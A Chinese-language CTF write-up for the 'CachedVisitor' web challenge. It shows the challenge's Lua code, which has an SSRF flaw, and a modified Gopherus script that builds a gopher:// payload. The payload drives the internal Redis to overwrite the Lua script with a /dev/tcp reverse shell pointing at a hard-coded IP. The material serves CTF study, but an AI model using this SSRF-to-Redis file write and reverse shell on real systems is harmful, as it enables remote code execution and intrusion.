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【Web】软件系统安全赛CachedVisitor——记一次二开工具的经历

article 2025/1/9 19:29:02

明天开始考试周，百无聊赖开了一把CTF，还顺带体验了下二开工具，让无聊的Z3很开心🙂

CachedVisitor这题

大概描述一下：从main.lua加载一段visit.script中被##LUA_START##(.-)##LUA_END##包裹的lua代码

main.lua

local function read_file(filename)
    local file = io.open(filename, "r")
    if not file then
        print("Error: Could not open file " .. filename)
        return nil
    end

    local content = file:read("*a")
    file:close()
    return content
end

local function execute_lua_code(script_content)
    local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
    if lua_code then
        local chunk, err = load(lua_code)
        if chunk then
            local success, result = pcall(chunk)
            if not success then
                print("Error executing Lua code: ", result)
            end
        else
            print("Error loading Lua code: ", err)
        end
    else
        print("Error: No valid Lua code block found.")
    end
end

local function main()
    local filename = "/scripts/visit.script"
    local script_content = read_file(filename)
    if script_content then
        execute_lua_code(script_content)
    end
end

main()

visit.script

##LUA_START##
local curl = require("cURL")
local redis = require("resty.redis")

ngx.req.read_body()
local args = ngx.req.get_uri_args()
local url = args.url

if not url then
    ngx.say("URL parameter is missing!")
    return
end

local red = redis:new()
red:set_timeout(1000)

local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
    ngx.say("Failed to connect to Redis: ", err)
    return
end

local res, err = red:get(url)
if res and res ~= ngx.null then
    ngx.say(res)
    return
end

local c = curl.easy {
    url = url,
    timeout = 5,
    connecttimeout = 5
}

local response_body = {}

c:setopt_writefunction(table.insert, response_body)

local ok, err = pcall(c.perform, c)

if not ok then
    ngx.say("Failed to perform request: ", err)
    c:close()
    return
end

c:close()

local response_str = table.concat(response_body)

local ok, err = red:setex(url, 3600, response_str)
if not ok then
    ngx.say("Failed to save response in Redis: ", err)
    return
end

ngx.say(response_str)
##LUA_END##

题目预设的visit.script是与内网的redis通信，可以打用gopher协议打redis任意文件写，但题目没有计划任务，考虑直接覆写/scripts/visit.script

因为有##LUA_START##(.-)##LUA_END##包裹，所以不会被脏数据影响

直接用redis-over-gopher一直打不通

sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub

Gopherus有一段类似的逻辑，它的反弹shell是通过覆盖计划任务文件来实现

于是这里通过修改gopherus的/scripts/Redis.py来生成payload

import urllib

def Redis():
    def get_Redis_OverWrite():
        target_dir = raw_input("input target dir: ") or "/scripts"
        
        ip = raw_input("input rev ip: ") or "27.25.151.98"

        port = raw_input("input rev port: ") or "1337"

        file = raw_input("input target filename: ") or "visit.script"

        file_len = len(file)

        cmd = """##LUA_START##os.execute("bash -c 'sh -i &>/dev/tcp/{}/{} 0>&1'")##LUA_END##""".format(ip, port)
        len_cmd = len(cmd) + 5

        payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
${}\r


{}


\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
${}\r
{}\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
${}\r
{}\r
*1\r
$4\r
save\r

""".format(len_cmd, cmd, len(target_dir), target_dir, file_len, file)

        finalpayload = urllib.quote_plus(payload).replace("+", "%20").replace("%2F", "/").replace("%25", "%").replace("%3A", ":")
        
        print("\033[93m" + "\nYour gopher link is ready to overwrite file: \n" + "\033[0m")
        print("\033[04m" + "gopher://127.0.0.1:6379/_" + finalpayload + "\033[0m")
        print("\n" + "\033[41m" + "-----------Made-by-Z3r4y-----------" + "\033[0m")

    get_Redis_OverWrite()